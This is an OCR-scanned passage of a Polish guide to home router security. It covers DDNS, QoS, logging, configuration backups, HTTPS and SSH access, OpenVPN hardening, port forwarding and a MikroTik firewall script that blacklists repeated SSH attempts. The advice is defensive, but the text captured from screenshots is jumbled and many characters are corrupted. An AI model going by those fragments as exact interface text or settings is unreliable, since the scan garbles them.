certyfikatu (czy to kupionego, czy wystawionego samemu) lub darmowego cer-
tyfikatu wystawionego przez firme Let’s Encrypt's. Opcji bez certyfikatu nie
bierzmy pod uwage, poniewaz jest niebezpieczna.

Niestety, to rozwigzanie nie zawsze zadziala, poniewaz czesto sieci domowe
znajduja sie za wielowarstwowa siecia NAT-owana, co nie pozwala na prace
tego protokotu. Jedli tak jest, zasugeruje to sam router. Rozwigzaniem bhedzie
przekierowanie portdw po stronie dostawcy sieci.

Uzytkownicy sami najlepiej wiedza, jakiego typu ruchu oczekiwac, wiec jesli
mamy jakie$ preferencje, np. nie chcemy opdéznien w grach komputerowych,
mozna wiaczy¢ funkcjonalnos¢ ustawiajaca kolejkowanie (QoS, rysunek 56)
tego ruchu z pierwszenstwem. Jesli nie mamy specjalnych preferencji co do
priorytetéw réznych rodzajéw ruchu, zostawmy te funkcje wylaczona.

Polaczenie Internetowe  Dual WAN  Port Trigger  Przekierowanie portéw  DMZ Okienko NAT
0gdlne

é& Mapa sieci WAN - DDNS

DDNS {Dynamic Domain Name System [Dynamiczny system nazw domenowych]), to ustuga, ktéra umoZiiwia klientom
sieciowym polaczenie z routerem sieci bezprzewodowej, nawet z dynamicznym publicznym adresem IP, przez jego
zarejestrowana nazwg domeny. Router sieci bezprzewodowej jest wbudowany w ustugg DDNS ASUS i inne ustugi DDNS.
Przejdz do http: //iplookup. asus. com/ns1ookup. php, aby wyszukac statyczny adres, do wykorzystania dla ustugi ASUS
DDNS.

@} Siec goscinna

F;’ AiProtection

Router sieci bezprzewodowej aklualnie wykorzystuje prywatny adres IP WAN. Router ten moze znajdowac sie w srodowisku
a ¢ kontrola

wielu NAT, a w tym Srodowisku ustuga DDNS nie moze dzialac.
'5"0 rodzicielska kS ¢

Uruchomi¢ kiienta DDNS
@ Adaptacyjny QoS

Serwer WWW. ASUS. COM

Ustawienia Zaawansowane
Nazwa hosta sekurakowyhostdomowy asuscomm.com
@ Wireless

DDNS Status Nieakiywny

@ LAN O Bezplainy certyfikat z Let's Encrypt mportuj wiasny certyfikat (@ Zaden.

Let's Encrypt jest ustuga zapewniajaca certyfikat zatwierdzany przez domeneg i wykona
zalwierdzenie domeny przed wydaniem certyfikatu dia Twoich domen. Certyfikaty
ez Lef's Encrypt 53 waZne przez 90 dni. Przed w iem certyfikatu,
Certyfikat HTTPS/SS5L
o_-@-_- Amazon Alexa el autematycznie odnowi certyfikaty skutecznie z dzajac domeng.

czy w celu potwierdzenia domeny i odnowienia certyfikatu router faczy sig z
@ =3 interne port 80. FAG
Zgadzam sig na Let's Encrypt Tenm of Service
VPN
Zastosuj

Rysunek 55. Widok konfiguracji dynamicznego nadawania nazwy DNS - DynDNS
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QoS | Historia  Monitor ruchu  Szybkos€ Internetu
Ogdlne

@5 Mapa sieci

QoS - Konfiguracja QoS

Quality of Service (QoS) zapewnia odpowiednie przydzielenie przepustowosci do zadari i
aplikacj wedhug priorytetdw.

+ Adaptacyjny QoS zapewnia odpowiednia przepustowosé pizychodzaca i
wychodzaca potaczent przewodowych i bezprzewodowych dia aplikaci i zadari
wediug zdefiniowanych wczesniej ustawie: gry, strumieniowanie multimediow, VolP.
surfowanie po sieci i transfer plikow:

&3 siec goscinna

o) AiProtectis
) merotocton

+ Tradycyjny QoS zapewnia odpowiednia przepustowos¢ przychos
wychodzaca pofaczen przewodowych i bezprzewodowych dia aplk
wediug zdefiniowanych przez uzytkownika parametréw.
@ Adaptacyiny QoS - Funkcja ograniczenia przepustowosci pomaga w kontrolowaniu maksymalnej
szybkosci pobierania i przesylania urzadzert Kiienckich.

-.l kontrola
#2% rodzicielska

Aby wiqczyé funkee QoS nalezy Kiknat przefacznik QoS, wypelnic dane dotyczace
przepustowosci

Ustawienia Zaawansowane

[ wireles= QoS FAQ

@] o

Typ QoS © Adaptacyiny Q adycyiny QoS @ Funkcia ograniczenia przepustowoscil

oM. Amazon Alexa Bandwidih Setting © Automatic Setin jstaw. reczne

@ ove Wybierz tryb priorytetu w zaleznoci od ofoczenia sieciowego. Mozesz tezwybraciryb niestandardowy w celu nadania
priorytetu kategorii aplikacji.

VPN

W Firewall

% Administracja

— Gry Strumieniowanie Przegladanie Learn-From-  Work-From- Customize
EZ Logisystemowe multimediow stron Home Home

Rysunek 56. Widok konfiguracji kolejkowania ruchu sieciowego (QoS)

Monitoring, kopia zapasowa konfiguracji oraz logi systemowe

Router moze informowac o pewnych zdarzeniach zwigzanych z bezpieczen-
stwem. Warto je wlaczy¢, zeby wiedzieé, czy nic w danej chwili nie dzieje sie
z nasza siecig. Alternatywnie warto wiaczy¢ tego typu powiadomienia wysylane
do innego systemu, np. jak wspomniany wczes$niej Zabbix, lub wykorzystywacé
inne whudowane systemy w urzadzeniach koricowych (rysunek 57)'’. Przykla-
dem moze tu by¢ ntop'*® dostepny w rozwigzaniach opartych na pfSense'®.

Ogélny log  Wireless Log Dzierzawy DHCP  IPve  Tablica routingu Przekierowanie portow  Pol3czenia

Logi systemowe - Ogolny log
Na tej stronie pokazywane sa szczegGtowe dziatania systemu.

Sun, Jun 26 20:22:23 2022

Czas systemow
= = * W tej strefie czasowej jest uruchomiony “czas letni™

Data startu 0 dni 17 godziny 21 minuty 42 sekundy

Zdalny serwer log

514

Remote Log Server Port * The default port is 514. 1f you reconfigured the port number, please make sure that the

remote log server or loT devi seitings match your current configuration.

Rysunek 57. Widok zaktadki konfiguracyjnej logéw routera, podzielonej na kategorie
wysytki do dodatkowego serwera logow
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Sprawdzajmy tez, rowniez po zakonczeniu konfiguracji, czy kojarzymy
wszystkie hosty dostepne w sieci (rysunek 58).

Sie¢ przewodowa [Ukryj]

Internet
status

2.4 GHz

Internet
status

5 GHz

Internet
status

TxRate RxRate Czas
(Mbps) (Mbps) dostepu

@ 192.168.50.72 - -

Ikone Nazwa klienta Adres IP klienta Adres MAC Kiienta Interfejs

[Ukryi]
TxRate RxRate Czas

Ikong Nazwa kiienta Adres IP klienta Adres MAC Kiienta Interfejs ) dostepu

Brak danych w tabeli.
[Ukryi]

TxRate RxRate Czas
(Mbps) (Mbps) dostepu

Ikone Nazwa klienta Adres IP klienta Adres MAC Kiienta Interfejs

* 192.168.50.75 325 6 00:56:29

Siec¢ goscinna - 1 [Ukryil

Internet
status

TxRate RxRate Czas

Ikong Nazwa kiienta Adres IP kiienta Adres MAC Kiienta Interfejs (Mbps)  (Mbps) doslepu

Brak danych w tabeli.

Sie¢ goscinna - 2 [Ukryi1

Internet
status

TxRate RxRate Czas

Ikone Nazwa klienta Adres IP klienta Adres MAC Kiienta Interfejs (Mbps)  (Mbps) dostepu

Brak danych w tabeldi.

Rysunek 58. Widok zestawienia hostéw widocznych w aktualnym czasie w sieci

Ostatnim elementem zabezpieczenia jest kopia zapasowa (ang. backup). Warto
zrobi¢ zapis ustawien na dysku komputera. W razie awarii urzadzenia, jesli
bedziemy zmuszeni do przywrdécenia go do ustawien fabrycznych, nie trzeba
bedzie ponownie wprowadzac wszystkiego recznie, a tylko zatadowac¢ do pa-
mieci urzadzenia zapisany wczesniej plik (rysunek 59).

Nie nalezy dzieli¢ sie z nikim takim plikiem. Czesto hasta sa w takich pli-
kach zapisywane w sposéb umozliwiajacy ich odczytanie. Nawet jesli nie jest
to trywialne, to jednak atakujacemu wygodniej jest testowac zabezpieczenia
w domowym zaciszu, majac kopie takiego pliku, niz bedac fizycznie w miejscu
przeprowadzanego ataku.
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Tryb operacji System Upgrade Firmware Informacja zwrotna Prywatnosc

Ogdlne
@3 Mapa sieci Administracja - Odtworzenie

Ta funkcja pozwala Ci zapisac biezgca konfiguracje routera do pliku, lub przywrdcic uprzednio zapisana konfiguracje z pliku.

"' Sie€ goscinna
w 4 Ustawienia fabryczne

ruchu) i Web History {Historia ¢

Il Click on this checkbox if you want to share the
the original

config file for debugging.

(lr;] AiProtection

a @ konirola
asc et
“® rodzicielska Zapisz ustawienia d in the confy be removed,

lo not import the lo your router.
@ Adaptacyjny QoS 5US DDNS name

Ustawienia Zaawansowane Przywrb¢ ustawienia Uploaduj

@ Wireless

@LAN

-
-_%_- Amazon Alexa

@ IPvE

VPN

*.'_‘::1 Firewall

Rysunek 59. Widok okna przywracania oraz tworzenia kopii zapasowej ustawien

DOSTEP DO ROUTERA I SIECI SPOZA NIEJ

Skupie sie teraz na zabezpieczeniu dostepu do domowego routera i sieci LAN
z zewnetrznej sieci WAN. Omoéwie najpotrzebniejsze metody zapewnienia
bezpieczenstwa urzadzeniom przed atakami, ktére moga nadejs$¢ zaréwno ze
strony urzadzen na co dzien laczacych sie do domowej sieci, jak i w wyniku
dziatania tych sprzetéw, ktére moga prébowac robi¢ to spoza niej.

Minimalizowanie ryzyka - HTTPS i SSH

Jesli chcemy przynajmniej czeSciowo ograniczy¢ mozliwos$¢ podstuchiwania
komunikacji, wlaczmy szyfrowanie polgczenia z routerem za pomoca protoko-
hu HTTPS (rysunek 60), nawet jesli bedzie to samopodpisany certyfikat routera.
Mozemy tez wygenerowac wiasng pare kluczy (publiczny i prywatny) do ww.
komunikacji.

To samo dotyczy zdalnej komunikacji — nie }gczmy sie do routera przez nieszy-
frowany protokol Telnet. Uzywajmy bezpieczniejszego protokotu SSH (rysunek 61).
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Administracja _ e
£ Godzina ponownego uruchomienia

E Logi systemowe Service (Usiuga)

Uruchom Telnet ® Tak O Nie

$ Narzedzia sieciowe

Enable SSH LAN only

8787
Gniazdo SSH * Ze wzgledow bezpieczeiistwa zalecane jest uzywanie portu z zakrel
65535

Zezwol na logowanie z hastem O 1ak '@ Nie
Autoryzowane klucze

Limit czasu bezczynnosci 20 | minuty (Wytaczenia : 0)

Konfiguracja dostepu lokalnego

Tryb autentykacji polaczenia

HTTPS
bezprzewodowego

8443
Port LAN HTTPS PrzejdZ do strony ustawieri przez htt; 2.168.50.1:8443
* UZyj portu z zakresu 1025-65535.

Rysunek 60. Widok konfiguracji komunikacji z routerem za pomoca szyfrowanego
protokotu uzytego na wskazanym porcie - od tej pory z routerem faczymy sie pod adresem
https://<adres IP routera>:8443

Godzina ponownego uruchomienia
«E4, Logi systemowe Service (Usluga)

Uruchom Telnet

@ Narzedzia sieciowe

Enable SSH
Gniazdo SSH
Zezwél na logowanie  hasiem

Autoryzowane kiucze

Limit czasu bezczynnosci 20 | minuty (Wylaczenia - 0)

Rysunek 61. Widok konfiguracji SSH, wytaczenie protokotu Telnet

Zdalne zarzadzanie routerem

Do zdalnego zarzadzania sprzetem jego tworcy czasem oferuja wlasne apli-
kacje i daja mozliwos$¢ podiaczania urzadzen do wlasnych rozwigzan wykorzy-
stujacych chmure. W biznesowych rozwigzaniach beda to panele, do ktérych
mozna sie logowacd i tam zarzadza¢ wpietymi urzadzeniami (podobne podejscie
spotkamy w Ubiquiti, ale i w bardziej specyficznych rozwigzaniach, jak w urza-
dzeniach firmy Endian). W rozwiazaniach domowych raczej nie ma sie co spo-
dziewac takich udogodnien. Przykladowo MikroTik oferuje tylko mozliwo$¢ uzy-
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cia adresu nadanego przez chmure firmy MikroTik jako punktu polaczeniowego.

Zachecam do konfiguracji polaczen przez VPN. Jedli jednak zdecydujemy sie
na uzycie wystawionego na routerze portu, spotkamy sie np. z panelem (rysu-
nek 62), ktéry w pierwszej kolejnosci bedzie wymagat zgody na zdalny dostep,
po czym musimy wybrac port, pod jakim chcemy wystawié¢ szyfrowany punkt
dostepowy, a na koniec zatwierdzi¢ cala operacje.

Oczywiscie, sugerowane jest tu posiadanie stalego adresu IP lub przekierowania
portu —zalezne od operatora sieci —lub wykorzystanie adresu nadanego w DDNS.

Konfiguracja dostepu zdalnego

Odblok ¢ dostep do interfejsu GUI z i
Owat dosten do intarisisu siedt dostepu do interfejsu uzytkownika z sieci WAN, obslugiwany jest tylko

HTTPS. FAQ

HTTPS Port dostepu z sieci WAN 8444 Przejdz do strony ustawien przez http: .9.128.70:8444
Zezwdl wylacznie na okreslone adresy IP
Okreslony adres IP (Maks. ilosé : 4)

Podsiec/Host IP Typ dostepu

: Interfejs uzytkownika sieci intemetowej & SSH
M Teinet (tylko LAN)

123.123.123.123

Rysunek 62. Widok konfiguracji dostepu zdalnego do routera z sieci WAN pod wskazanym portem

VPN

W celu podlaczenia do sieci za pomocg wirtualnej sieci prywatnej (VPN),
jesli mamy dostepny publiczny adres IP lub nasz dostawca sieciowy zgadza sie
przekierowywac do naszego adresu IP konkretne porty, mozemy uruchomié
specjalng, bezpieczna sie¢ z opcja dostepu do routera. Zaczynamy od konfigu-
racji samego serwera w jednym z popularniejszych trybéw za posrednictwem
oprogramowania OpenVPN (rysunek 63).

Klient VPN Instant Guard

Serwer VPN - OpenVPN OpenVPN IPSec VPN

Rysunek 63. Widok menu z dostepna konfiguracja serwera wirtualnej sieci - VPN

Zacznijmy od konfiguracji bazowej (rysunek 64): tworzymy uzytkownika z od-
powiednio dtugim hastem i dodajemy go do puli uzytkownikéw dopuszczonych
do polaczenia VPN. Nastepnie ustawiamy port komunikacyjny i wybieramy
dtuzszy klucz (2048 bitéw) dla szyfrowania RSA, by zapewni¢ wyzszy poziom
bezpieczenstwa. Taka konfiguracja, jako najbardziej podstawowa, wystarczy
—imozna by w tym momencie zapisa¢ zmiany oraz zgra¢ wygenerowany plik
.ovpn (rysunek 65), ale warto przej$¢ do czesci zaawansowanej (rysunek 66)
i tam ustawi¢ kilka innych, bardziej bezpiecznych, opcji.
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Konfiguracja podstawowa

Wigcz serwer OpenVPN (o] ]

Szczegoly VPN 0golne

12345

Port serwera W iec ecane jes anie portu z zakresu od 1025 do

RSA Encrypfion ® 1024 bit
Client will use VPN to access Local network only Intemet and local network Q' Niestandardowy|

RT-AX55 automatycznie generuje plik .ovpn z kluczem certyfikatu uwierzytelnienia. Mozna dostarczyc plik .ovpn z nazwa
uzytkownika i hastem dla wszystkich uzytkownikéw potaczonych z serwerem OpenVPN. Aby udostepnic wiasny plik OPVN dia
okreslenia okreslonego typu polaczenia, mozna zmienic domysine ustawienia serwera OpenVPN. If your WAN IP address is

dynamic, please click here to set the DDNS. Aby zmienié ustawienia serwera OpenVPN, przejdz do Ustawienia Zaawansowane

1. Windows

2. Mac 08

3. iPhonefiPad
4. Android

Nazwa uzytkownika i hasio (Maks. ilosé : 16)

Status potaczenia Nazwa uZytkownika Dodaj f Usuri

Rysunek 64. Widok podstawowe] konfiguracji serwera OpenVPN wbudowanego w router

Rozwazmy uzycie typu interfejsu TUN zamiast TAP — osoby 1aczace sie zdalnie
trafig dzieki temu do wirtualnej podsieci, a nie do sieci gtéwnej. Pozwala to na
nalozenie pewnych ograniczen na takie hosty zgodnie z zasadami segmentacji.

Ograniczmy dystrybuowanie sieci LAN do klientéw, jesli nie jest to potrzeb-
ne. Zablokujmy komunikacje miedzy urzadzeniami lub, jesli chcemy na nia
pozwoli¢ w sieci VPN-owej, dodajmy wybrane urzadzenia do listy dopuszczo-
nych klientéw.

Warto, konfigurujac VPN, wlaczy¢ tez bezpieczny algorytm autoryzacji
HMAC (keyed-Hash Message Authentication Code)'° oraz tryb autoryzacji TLS
zamiast statycznego klucza. Dyrektywa tls-auth uzyta w protokole HMAC do-
daje dodatkowy podpis do wszystkich pakietéw handshake przy polaczeniach
realizowanych za posrednictwem SSL/TLS w celu weryfikacji integralnosci ko-
munikacji. Pozwala to na nieprzetwarzanie pakietéw UDP bez odpowiedniej
sygnatury. Dzieki temu mozemy ograniczy¢ liczbe atakéw typu:

» DoSizapychania portu, na ktérym urzadzenie wystawia serwer VPN za

pomoca ruchu UDP;

» skanowania portow w celu wykrycia, ktére porty UDP sag w trybie

nastuchu;

» atakow typu stack based buffer overflow w implementacji SSL/TLS;

» inicjowania SSL/TLS handshake z niezaufanych maszyn (o ile nie przejda

one uwierzytelnienia, to uzycie HMAC tls-auth spowoduje odrzucenie
ich na wcze$niejszym etapie).
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Dobrze dobrane parametry szyfrowania pomoga zabezpieczy¢ nasza komu-

nikacje z sieci i do sieci za posrednictwem sieci WAN. Natomiast jesli chcemy
bezpiecznie korzystac¢ z Internetu przez brame sieciowa, wlaczmy tez routing,
czyli kierowanie ruchem sieciowym.

Konfiguracja podstawowa

Wiacz serwer OpenVPN

Szczegoly VPN

Ustawienia Zaawansowane

Aby udostepnic wiasny plik OPVN dla okreslenia okreslonego typu polgczenia, moZzna zmienié domysine ustawienia serwera

OpenVPN.

Aby uzyc whasny klucz, kliknij zétte facze w celu modyfikacii ustawien.

Sprawdz Logi systemowe dla uzyskania komunikatéw btedu powigzanych z OpenVPN.
Przed konfiguracjgzaawansowanych ustawieriserwera OpenVPN, nalezy sieupewnic,ze te opcje zaawansowanych

ustawierisgzgodne z oprogramowaniem OpenVPN w urzadzeniach klienta.

Ustawienia Zaawansowane
Typ interfejsu

Prolokot

Port serwera

Odpowiadanie na DNS

Szyfrowanie

Autoryzacia HMAC

Kompresja

Autoryzacia tylko za pomoca nazwy
uzytkownika / hasta

Tryb autoryzacji

RSA Encryption

Dodatkowa autoryzacja HMAC

Podsiet / maska sieci VPN

Wypychanie sieci LAN do klientow

Kierowanie kiientow w celu przekierowania
ruchu interetowego

Czas ponownego negocjowania TLS

Zarzadzaj opcjami wiasciwymi dia klientow

Zezwalaj na Klient <-= Klient

Zezwalaj tylko na okreslonych klientow

Allowed Clients

Common Name(CN)

sekurak

Jisdow bezpieczeristwa zalecane jest uZywanie portu z zakresu od 1025 do

® 1ak O nNie
AES-256-CBC
SHA 512
wtacz

® 1k O Nie

255.255.255.0

sekundy (wartosc domysina : -1)

® nie

® Tak O Nig

O Tak ® Nie

192.168.50.0

255.255.255.0

Wypychanie  Dodaj / Usun
Nie @

Rysunek 65. Widok zaawansowanej konfiguracji serwera OpenVPN
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Po takim skonfigurowaniu polaczenia VPN wiemy, ze jest ono catkiem do-
brze zabezpieczone. Mamy klucz prywatny do polaczenia, serwer ma wilasny
Klucz prywatny, do ktérego posiadamy tez klucz publiczny. Jest CA (Certificate
Authority, urzad certyfikacji)*!, potwierdzajacy poprawnos$¢ i waznos¢ kluczy
oraz dodatkowe potwierdzenie za pomocg klucza TLS, a na koniec: mamy ha-
sto i uzytkownika. Pamietajmy, zeby klucze prywatne zawsze przechowywacé
w bezpiecznym miejscu i nigdy nikomu ich nie udostepniad, a jesli tylko mamy
podejrzenie, ze kto$ inny mégt mie¢ do nich dostep, koniecznie je wycofajmy.

Dzieki temu zestawowi znacznie podnosimy swoje bezpieczenstwo, gdyz auto-
ryzacja wymaga posiadania kilku informacji. Jest to pomocne, bo jesli kto$ wejdzie
w posiadanie naszego certyfikatu, to nadal moze nie méc zalogowac sie do sieci. A jesli
juz to zrobi, odpowiednia konfiguracja moze mu utrudni¢ wyrzadzenie duzych szkdd.

Rozwigzania bardziej biznesowe pozwalaja na generowanie kluczy prywat-
nych dla kazdego uzytkownika. W domowym $rodowisku wystarcza rozwig-
zanie jednokluczowe.

Kompresja ruchu pozwoli zaoszczedzi¢ przepustowos$¢ lacza, ale obcigza
procesor routera — sie¢ VPN powoduje zmniejszenie jego wydajnosci i warto
o tym pamietac.

Wilaczenie protokotu TCP poprawi pewno$¢ transmisji danych, ale dodatko-
wo wplynie na zwiekszenie wykorzystania przepustowosci lacza. Moze tez by¢
problematyczne przy gorszym laczu, np. mobilnym.

Eksportuj plik konfiguracji OpenVPN Eksportuj

Eksportuj biezacy certyfikat Eksportuj

Rysunek 66. Wygenerowane klucze i plik konfiguracyjny do pobrania po zakoriczeniu konfiguracji

Porty udostepnione dla urzadzen takich jak QNAP lub monitoring wizyjny

Jesli nie mamy mozliwo$ci ograniczenia sieci do ruchu VPN i potrzebujemy
stalego dostepu do urzadzen takich jak kamery, czasem bedziemy zmuszeni
wystawi¢ je pod ogdlnie dostepnym portem zewnetrznym po przekierowa-
niu na port hosta w sieci (rysunek 67). Postarajmy sie jak najmocniej ograni-
czy¢ mozliwo$c¢ ruchu z takich urzadzen wewnatrz sieci albo wykorzystajmy
dla nich sie¢ go$cinng lub dodatkowy router. Dotyczy to zwlaszcza starszych
itanszych rozwiazan, chociaz i w tym segmencie rynku zaczynajg pojawiac sie
sprzety z mozliwoscia polaczen wykorzystujacych chmure.

Nalezy tez zmienic¢ port z bardzo popularnego, np. 37777 (rysunek 68), na
inny, niezwiazany z producentem routera. Bedzie wymagalo to od potencjal-
nych skanerdw sieciowych sprawdzenia wielu portow, a nie tylko jednego,
zanim wykonaja atak na samo urzadzenie. Samo skanowanie moze réwniez
zosta¢ wykryte np. przez IPS, jesli go wlaczyliSmy - i zosta¢ zablokowane.
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Pamietajmy

tez o tym, zeby nigdy nie zostawiac tego typu urzadzen zupeinie

bez ochrony. Koniecznie wlaczmy chociazby wymég logowania sie za pomoca
nazwy uzytkownika i hasta, a jesli urzadzenie to oferuje, zabezpieczmy je row-
niez innymi metodami, jak klucz prywatny czy logowanie dwusktadnikowe.

ogdlne

Mapa sieci

AiMesh

W Siec goscinna

rlf;l AiProtection

@ kontrola
® rodzicielska

(7>) Adaptacyiny QoS

Ustawienia Zaawansowane

[A wireless
@ LAN

Pofaczenie Internetowe  Dual WAN  Port Trigger ~ Przekierowanie portow DMZ  DDNS  Okienko NAT

'WAN - Przekierowanie portow

Przekierowanie portéw pozwala odleglym komputerom na polaczenie ze specyficznym komputerem lub ustuga w prywatnej sieci
lokalne] (LAN}. Dia uzyskania szybszego polaczenia, niektére aplikacje P2P (takie jak BitTorrent), moga wymagat ustawienia
przekierowania portow. Szczegolowe informacje mozna uzyskaé w podreczniku uzytkownika aplikaci P2P.

Aby okreslic zakres portow dia Kiientow w tej samej sieci, wprowadz Service Name (Nazwa sieci), Port Range (Zakres portéw)
(np. 10200:10300), LAN IP address (Adres IP sieci LAN) i pozestaw puste pole Local Port (Port lokalny).

+ Po wylgczeniu firewalla sieciowego i ustawieniu 80 jako zakresu poriw senwera HTTP do ustawier WAN, moze wystapié
konflikt serwera htip/serwera sieci web z interfejsem uzytkownika sieci web RT-AX55.
przekierowanie portéw FAQ

Konfiguracja podstawowa

Wiacz Port Forwarding (Przekierowanie
portow)

Port Forwarding List (Lista przekierowania portéw) (Maks. ilosé : 64)

Nazwa usiugi Portzewnetrzny  Portwewnetzny — Wewnetrzny adres [P Protokol  Adres IPfrogia  Edytyj  Usur

Rysunek 67. Widok ustawier przekierowania portéw sieciowych

Szybki wybor

Lista ulubionych senwverow

Lista ulubionych gier

prosze wybrac.

prosze wybrac.

Konfiguracja niestandardowa

Nazwa uslugi.
Protokot

Port zewnetrzny

FPort wewnetrzny
Wewneirzny adres IP

Adres IP zrodta

Rysunek 68. Widok
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FTP Server * Opcjonalnie
TCP

12121
21 * Opcjonalnie

192.168.50.2

* Opcjonalnie

Anuluj

konfiguracji wybranej ustugi, ktéra ma by¢ dostepna spoza sieci LAN
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Jesli router oferuje taka mozliwo$¢ — nalezy ograniczy¢ liczbe préb dostepu
do urzadzenia. Mozna zrobic¢ to np. w routerze firmy MikroTik za pomoca od-
powiedniego skryptu (listing 24'5%), dopasowujac port dst-port=1i czas blokad
w poszczeg6lnych listach address-1ist-timeout=:.

Listing 24. Skrypt blokujacy adresy IP wielokrotnie prébujace potaczy¢ sie do otwartego portu
w routerach marki MikroTik

/ip firewall filter

add chain=input protocol=tcp dst-port=22 src-address-list=ssh_blacklist
action=drop comment="drop ssh brute forcers" disabled=no

add chain=input protocol=tcp dst-port=22 connection-state=new src-address-
list=ssh_stage3 action=add-src-to-address-1list address-list=ssh_blacklist
address-list-timeout=10d comment="" disabled=no

add chain=input protocol=tcp dst-port=22 connection-state=new src-address-
list=ssh_stage2 action=add-src-to-address-1list address-list=ssh_stage3
address-list-timeout=1m comment="" disabled=no

add chain=input protocol=tcp dst-port=22 connection-state=new src-address-
list=ssh_stagel action=add-src-to-address-list address-list=ssh_stage2
address-list-timeout=1m comment="" disabled=no

add chain=input protocol=tcp dst-port=22 connection-state=new action=add-
src-to-address-1list address-list=ssh_stagel address-list-timeout=1m

comment="" disabled=no

Skrypt tworzy cztery grupy adreséw IP. Kazde dodatkowe polaczenie z jednego
adresu przenosi nas do wyzszej grupy, a po kilku prébach trafiamy do listy ad-
reséw zablokowanych na wskazany okres. Warto jednak rozbudowac skrypt
o sekcje dodajaca do bialej listy pule zaufanych adreséw IP, w tym adresow
z wlasnej podsieci, gdyz czasem dzialanie skryptu moze by¢ zbyt agresywne
wobec naszych potrzeb.

PODSUMOWANIE

Wybdr routera do domu nie jest rzecza prostg, dlatego staralem sie przedsta-
wi¢ najwazniejsze elementy, ktére powinny mie¢ wplyw na to, na jakie urza-
dzenie sie zdecydujemy. Skupitem sie zwlaszcza na tym, co w bezposredni spo-
s6b odpowiada za bezpieczenstwo sieci domowej, ograniczajac dzieki temu
mozliwos$ci znalezienia wektoréw ataku dla potencjalnych przestepcéw lub
- czesciej — dla automatycznych skryptéw skanujacych sie¢ w celu wykrycia
niezabezpieczonych urzadzen.
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Duza ilo$¢ zawartej tu wiedzy moze by¢ przytlaczajaca, mimo wszystko do
tematu nalezy podej$¢ spokojnie i z rozwaga planowac bezpieczenistwo swojej
sieci, zaczynajac wilasnie od styku z Internetem, jakim jest router.

Specjalnie nie zaglebialem sie w techniczne detale, takie jak omawianie
ramek sieciowych, poniewaz nie ma to sensu z punktu widzenia koncowego
uzytkownika Internetu, co nie znaczy, ze osoba chcaca na dobre zainteresowac
sie tematyka cyberbezpieczenstwa nie powinna ich poznaé. Warto tez przynaj-
mniej wspomnie¢ o tych elementach sieci, ktére moga rzutowac na jej ptynne
dzialanie. Zakladam, ze dla cze$ci z Was omowione tu zagadnienia moga stac
sie impulsem do glebszego zapoznania sie z bezpieczenistwem i architektura
sieci, bys$cie mogli sta¢ sie¢ administratorami lub inzynierami sieci. Goraco za-
checam do rozwazenia wyboru takiej $ciezki kariery.

Zrozumienie budowy routera jest wazne, bo $wiadoma konfiguracja po-
zwala zapewni¢ wieksze bezpieczenstwo sieci domowej. Samo bezpieczenstwo
routera i sieci to warstwy natozone na warstwy. Dobrze mie¢ swiadomos$¢ ich
istnienia i sprawdzac je na wielu poziomach. Sie¢ domowa nie konczy sie na
routerze, a jest punktem posredniczacym, w ktérym zar6wno mozemy zostac
zaatakowani, jak i nieSwiadomie stac sie cze$cig botnetu i atakowaé innych.
Nalezy wiec pamieta¢ réwniez o bezpieczenistwie przegladarek, systemdéw oraz
aplikacji, z ktérych korzystamy. Nie zakladajmy, Ze zabezpieczony router zadba
za nas o bezpieczenstwo na wszystkich poziomach.

Swiat IT zmienia sie bardzo szybko; na najblizszym horyzoncie wida¢ juz
pierwsze routery z implementacjg WiFi 715, O ile nie beda poprawialy w zna-
czacy sposob bezpieczenstwa, to polepsza wydajnosc i przepustowos¢ samej
sieci bezprzewodowej, pozwalajac na podigczenie wiekszej liczby urzadzen
koncowych.

Rozwoj samego bezpieczenstwa sieciowego nieodzownie zwigzany bedzie
coraz bardziej ze sztuczna inteligencja. Mozna sie spodziewa¢, ze wiele z opi-
sanych w tym tekscie proceséw w ciggu kilku lat zostanie zautomatyzowanych
lub ulatwionych - chociazby dzieki wykorzystaniu juz dzi$ dostepnych chatbo-
tow. Pojawiaja sie tez realne implementacje integrujace Al i domowej klasy ro-
utery w systemy monitoringu. We wspomnianym przypadku autorzy nauczyli
sztuczng inteligencje ,widzie¢” osoby w pomieszczeniu poprzez spadek mocy
sygnatlu. Warto wiec $§ledzi¢ rozwdj tej dziedziny nie tylko w kontekscie cieka-
wostki, lecz réwniez czego$, co bedzie na biezaco zmieniaé $wiat, w ktérym
Zyjemy?*s4,

Na koniec jedna z najwazniejszych zasad dotyczacych bezpieczenstwa,
nie tylko zwigzanego z routerami: zawsze nalezy kierowac sie ograniczonym
zaufaniem do istniejacych zabezpieczen oraz stosowac sie do reguly: ,Ufaj,
ale sprawdzaj”. Warto wiec regularnie zagladac ,,do sprzetu”, by sprawdzié¢



Podsumowanie

dostepno$¢ aktualizacji lub przejrzec¢ logi. Moze takie dzialanie pozwoli na
wczesne wykrycie niepozadanej aktywnos$ci w samym routerze, np. ustawio-
nych adreséw serwerdw DNS, ktorych nie kojarzymy, albo pomoze odkryé¢, ze
w sieci pojawil sie wyjatkowo duzy ruch kierowany do drukarki lub z drukarki

czy inteligentnej lodéwki.

Dalsze poszerzanie wiedzy

Na koniec troche dodatkowej wiedzy dla tych z Was, ktérzy zechca szerzej
zapoznac sie z tematyka sieci komputerowych:
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Cloud Connectivity.
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